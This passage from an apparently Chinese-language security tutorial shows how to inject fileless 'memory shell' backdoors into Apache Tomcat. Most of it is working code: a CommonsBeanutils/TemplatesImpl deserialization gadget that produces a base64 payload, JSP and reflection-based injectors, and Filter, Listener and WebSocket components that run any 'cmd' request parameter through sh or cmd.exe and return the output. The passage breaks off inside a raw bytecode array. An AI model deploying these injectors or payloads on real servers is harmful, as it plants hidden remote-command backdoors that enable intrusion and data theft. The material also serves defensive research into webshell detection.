outputStream.writeObject(payload);
outputStream.flush();
String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.apache.catalina.Context;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.HashSet;
import java.util.Map;
import java.util.Scanner;
public class FilterTemplatesImpl extends AbstractTranslet implements Filter {
public void init(FilterConfig config) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws java.io.IOException, ServletException {
String cmd = request.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
// 把请求传回过滤链
chain.doFilter(request,response);
}
public void destroy( ){
}
static HashSet h;
static HttpServletRequest r;
static HttpServletResponse p;
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public FilterTemplatesImpl(){
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
//修改static final
setFinalStatic(WRAP_SAME_OBJECT_FIELD);
setFinalStatic(lastServicedRequestField);
setFinalStatic(lastServicedResponseField);
//静态变量直接填null即可
ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);
ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());
}else {
AddMemoryShell(lastServicedRequest, lastServicedResponse);
}
}catch (Exception e){
e.printStackTrace();
}
}
public FilterTemplatesImpl(String s){
}
public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}
public static void AddMemoryShell(ThreadLocal lastServicedRequest, ThreadLocal lastServicedResponse) throws Exception{
ServletRequest servletRequest = lastServicedRequest.get();
ServletResponse servletResponse = lastServicedResponse.get();
//开始注入内存马
ServletContext servletContext = servletRequest.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) context1.get(applicationContext);
Filter evilFilter = new FilterTemplatesImpl("evilFilter");
FilterDef filterDef = new FilterDef();
filterDef.setFilter(evilFilter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(evilFilter.getClass().getName());
standardContext.addFilterDef(filterDef);
System.out.println();
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMap(filterMap);
}
}
原理与反序列化Tomcat-Servlet差不多,只是把恶意模板类改成Filter的实现,创建Servlet的流程改成创建Filter的流程。就不过多解释了。
jsp注入Tomcat-Filter 型内存马
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
ServletContext servletContext = request.getServletContext();
Field applicationContextFiled = servletContext.getClass().getDeclaredField("context");
applicationContextFiled.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFiled.get(servletContext);
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMap(filterMap);
%>
Tomcat-Listener 型内存马
流程分析
编写一个简单的HelloListener:
package com.example.tomcatservletmemshell;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
@WebListener(value = "/hello-servlet")
public class HelloListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("request destroyed");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("request initialized");
}
}
Listener分多种,ServletRequestListener访问服务时触发。同样,在下图位置打下断点,分析调用栈:
进入org.apache.catalina.core.StandardContext#fireRequestInitEvent
:
其中listener的定义如下:
可以看到listener是把instance进行强转之后得到的。而instance是instances数组中的一个元素,我们看看instances是怎么来的:
跟进org.apache.catalina.core.StandardContext#getApplicationEventListeners
:
我们发现instances是把applicationEventListenersList
转为数组得到的,在org.apache.catalina.core.StandardContext#addApplicationEventListener
发现applicationEventListenersList
的元素是如何添加的:
因此注入Listener内存马的方法就很简单了。获取到StandardContext后直接调用addApplicationEventListener方法传入要注入的Listener即可。
反序列化注入Tomcat-Listener 型内存马
过于简单,交给读者完成。(其实是我实在懒得写了,嘻嘻~)
jsp注入Tomcat-Listener 型内存马
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%!
public class EvilListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
try {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
Response response = request.getResponse();
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().flush();
response.getWriter().write(output);
response.getWriter().flush();
}
}catch (Exception e){
e.printStackTrace();
}
}
public void requestInitialized(ServletRequestEvent sre) {
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
Field applicationContextFiled = servletContext.getClass().getDeclaredField("context");
applicationContextFiled.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFiled.get(servletContext);
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);
EvilListener evilListener = new EvilListener();
standardContext.addApplicationEventListener(evilListener);
%>
Tomcat-Websocket 型内存马
WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)。主流浏览器以及一些常见服务端通信框架(Tomcat、netty、undertow、webLogic等)都对WebSocket进行了技术支持。
流程分析
导入依赖,应与自己的Tomcat版本一致:
org.apache.tomcat
tomcat-websocket
9.0.76
以下是一个简单的Tomcat-Websocket样例:
package com.example.tomcatservletmemshell;
import javax.websocket.*;
import java.io.IOException;
public class HelloWebsocket extends Endpoint {
private Session session;
@Override
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.session = session;
session.addMessageHandler(new MessageHandler.Whole() {
@Override
public void onMessage(String message) {
System.out.println("Receice message: "+message);
}
});
System.out.println("Websocket: " + session.toString());
try {
session.getBasicRemote().sendText("Hello World!");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void onClose(Session session, CloseReason closeReason) {
System.out.println("Close!!!");
}
public void onError(Session session, Throwable throwable) {
System.out.println("Error!!!");
throwable.printStackTrace();
}
}
package com.example.tomcatservletmemshell;
import javax.websocket.Endpoint;
import javax.websocket.server.ServerApplicationConfig;
import javax.websocket.server.ServerEndpointConfig;
import java.util.HashSet;
import java.util.Set;
public class EndpointApplicationConfig implements ServerApplicationConfig {
@Override
public Set getEndpointConfigs(Set> set) {
Set result = new HashSet<>();
if (set.contains(HelloWebsocket.class)) {
result.add(ServerEndpointConfig.Builder.create(HelloWebsocket.class, "/websocket").build());
}
return result;
}
@Override
public Set> getAnnotatedEndpointClasses(Set> set) {
System.out.println(set);
return set;
}
}
运行后可以用以下python代码连接:
import websocket
ws = websocket.create_connection("ws://127.0.0.1:8080/websocket")
ws.send("HELLO")
print(ws.recv())
ws.close()
在了解Tomcat-Websocket的加载之前,需要先了解一下Tomcat的SCI机制。这里贴一篇关于SCI机制的文章吧:https://blog.csdn.net/lqzkcx3/article/details/78507169
-
ServletContainerInitializer接口的实现类通过java SPI声明自己是ServletContainerInitializer 的provider.
-
容器启动阶段依据java spi获取到所有ServletContainerInitializer的实现类,然后执行其onStartup方法.
-
另外在实现ServletContainerInitializer时还可以通过@HandlesTypes注解定义本实现类希望处理的类型,容器会将当前应用中所有这一类型(继承或者实现)的类放在ServletContainerInitializer接口的集合参数c中传递进来。如果不定义处理类型,或者应用中不存在相应的实现类,则集合参数c为空.
-
这一类实现了 SCI 的接口,如果做为独立的包发布,在打包时,会在JAR 文件的 META-INF/services/javax.servlet.ServletContainerInitializer 文件中进行注册。 容器在启动时,就会扫描所有带有这些注册信息的类(@HandlesTypes(WebApplicationInitializer.class)这里就是加载WebApplicationInitializer.class类)进行解析,启动时会调用其 onStartup方法——也就是说servlet容器负责加载这些指定类, 而ServletContainerInitializer的实现者(例如Spring-web中的SpringServletContainerInitializer对接口ServletContainerInitializer的实现中,是可以直接获取到这些类的)
大致意思就是说在Tomcat启动的时候,将会对classpath下的jar进行扫描,扫描包中的META-INF/services/javax.servlet.ServletContainerInitializer文件,对其中提到的类进行加载,调用这个类的onStartup方法。那么我们来看一下tomcat-websocket.jar中的META-INF/services/javax.servlet.ServletContainerInitializer文件:
接下来我们在org.apache.tomcat.websocket.server.WsSci#onStartup下打断点:
首先调用init
进行初始化操作WsServerContainer对象,跟进一下init方法:
创建了一个WsServerContainer对象sc,参数为servletContext对象。之后调用servletContext的setAttribute()方法,将servletContext的javax.websocket.server.ServerContainer
属性设置为sc,并添加了两个listener,一个是WsSessionListener,一个是WsContextListener。添加WsSessionListener的作用是当http的session销毁时同样销毁掉websocket session:
不过因为我们是注入内存马,只需要了解注册过程即可,并不需要太注意它的作用。之后将一个ServerEndpointConfig
对象传给了sc的addEndpoint
方法:
跟进一下这个addEndpoint方法,这里获取到 path:
在取出了其中配置的路由之后生成了一个mapping映射:
接下来总结一下注入流程:
1.创建一个恶意的Endpoint,实现MessageHandler接口,重写onMessage方法。
2.为该Endpoint创建ServerEndpointConfig。
3.获取servletContext的javax.websocket.server.ServerContainer
属性得到WsServerContainer
4.通过WsServerContainer.addEndpoint
添加ServerEndpointConfig
反序列化注入 Tomcat-Websocket 型内存马
回想一下,我们之前是怎样创建一个恶意的Filter对象或者一个恶意的Servlet对象的?我们是直接让TemplatesImpl对象的_bytecodes字段所对应的那个类实现了Filter接口或Servlet接口,但是现在我们不能继续通过这样的方式来生成一个恶意的Endpoint了。因为这个类必需要继承AbstractTranslet,因此就无法再继承Endpoint了。那我们还有什么办法吗?当然是通过ClassLoader的defineClass来向JVM中注册一个恶意的Endpoint了。我们可以通过Thread.*currentThread*().getContextClassLoader()
来获取ClassLoader,之后通过反射的方法,执行defineClass方法,将我们设置好的byte数组转变为java类。具体请看以下代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Base64;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Field getField(final Class> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(WebsocketTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue queue = new PriorityQueue(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
@org.junit.Test
public void test1() throws Exception{
Object payload = getpayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(payload);
outputStream.flush();
String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}
@org.junit.Test
public void test2()throws Exception{
byte[] bytes = ClassPool.getDefault().get(EvilWebsocket.class.getName()).toBytecode();
System.out.println(Arrays.toString(bytes));
}
}
执行test2获取到EvilWebsocket类的字节码,之后更改 下面WebsocketTemplatesImpl类中的bytes即可:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Scanner;
public class WebsocketTemplatesImpl extends AbstractTranslet{
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}
static {
try {
String urlPath = "/evilWebsocket";
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
//修改static final
setFinalStatic(WRAP_SAME_OBJECT_FIELD);
setFinalStatic(lastServicedRequestField);
setFinalStatic(lastServicedResponseField);
//静态变量直接填null即可
ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);
ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());
}else {
ServletRequest servletRequest = lastServicedRequest.get();
ServletResponse servletResponse = lastServicedResponse.get();
//开始注入内存马
ServletContext servletContext = servletRequest.getServletContext();
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class clazz;
byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, -110, 10, 0, 30, 0, 75, 8, 0, 76, 10, 0, 77, 0, 78, 10, 0, 7, 0, 79, 8, 0, 80, 10, 0, 7, 0, 81, 7, 0, 82, 8, 0, 83, 8, 0, 84, 8, 0, 85, 8, 0, 86, 10, 0, 87, 0, 88, 10, 0, 87, 0, 89, 10, 0, 90, 0, 91, 7, 0, 92, 10, 0, 15, 0, 93, 8, 0, 94, 10, 0, 15, 0, 95, 10, 0, 15, 0, 96, 10, 0, 15, 0, 97, 8, 0, 98, 9, 0, 29, 0, 99, 11, 0, 100, 0, 101, 11, 0, 102, 0, 103, 7, 0, 104, 10, 0, 25, 0, 105, 11, 0, 100, 0, 106, 10, 0, 29, 0, 107, 7, 0, 108, 7, 0, 109, 7, 0, 111, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 15, 76, 69, 118, 105, 108, 87, 101, 98, 115, 111, 99, 107, 101, 116, 59, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 7, 105, 115, 76, 105, 110, 117, 120, 1, 0, 1, 90, 1, 0, 5, 111, 115, 84, 121, 112, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 99, 109, 100, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 2, 105, 110, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 1, 115, 1, 0, 19, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 59, 1, 0, 6, 111, 117, 116, 112, 117, 116, 1, 0, 9, 101, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 7, 99, 111, 109, 109, 97, 110, 100, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 82, 7, 0, 48, 7, 0, 112, 7, 0, 92, 7, 0, 108, 7, 0, 104, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 6, 99, 111, 110, 102, 105, 103, 1, 0, 32, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 18, 69, 118, 105, 108, 87, 101, 98, 115, 111, 99, 107, 101, 116, 46, 106, 97, 118, 97, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 113, 12, 0, 114, 0, 115, 12, 0, 116, 0, 117, 1, 0, 3, 119, 105, 110, 12, 0, 118, 0, 119, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 2, 115, 104, 1, 0, 2, 45, 99, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 7, 0, 120, 12, 0, 121, 0, 122, 12, 0, 123, 0, 124, 7, 0, 125, 12, 0, 126, 0, 127, 1, 0, 17, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 12, 0, 34, 0, -128, 1, 0, 2, 92, 65, 12, 0, -127, 0, -126, 12, 0, -125, 0, -124, 12, 0, -123, 0, 117, 1, 0, 0, 12, 0, 32, 0, 33, 7, 0, -122, 12, 0, -121, 0, -119, 7, 0, -117, 12, 0, -116, 0, 42, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, -115, 0, 35, 12, 0, -114, 0, -113, 12, 0, 41, 0, 42, 1, 0, 13, 69, 118, 105, 108, 87, 101, 98, 115, 111, 99, 107, 101, 116, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, -112, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 8, 99, 111, 110, 116, 97, 105, 110, 115, 1, 0, 27, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 104, 97, 114, 83, 101, 113, 117, 101, 110, 99, 101, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 1, 0, 12, 117, 115, 101, 68, 101, 108, 105, 109, 105, 116, 101, 114, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 59, 1, 0, 7, 104, 97, 115, 78, 101, 120, 116, 1, 0, 3, 40, 41, 90, 1, 0, 4, 110, 101, 120, 116, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 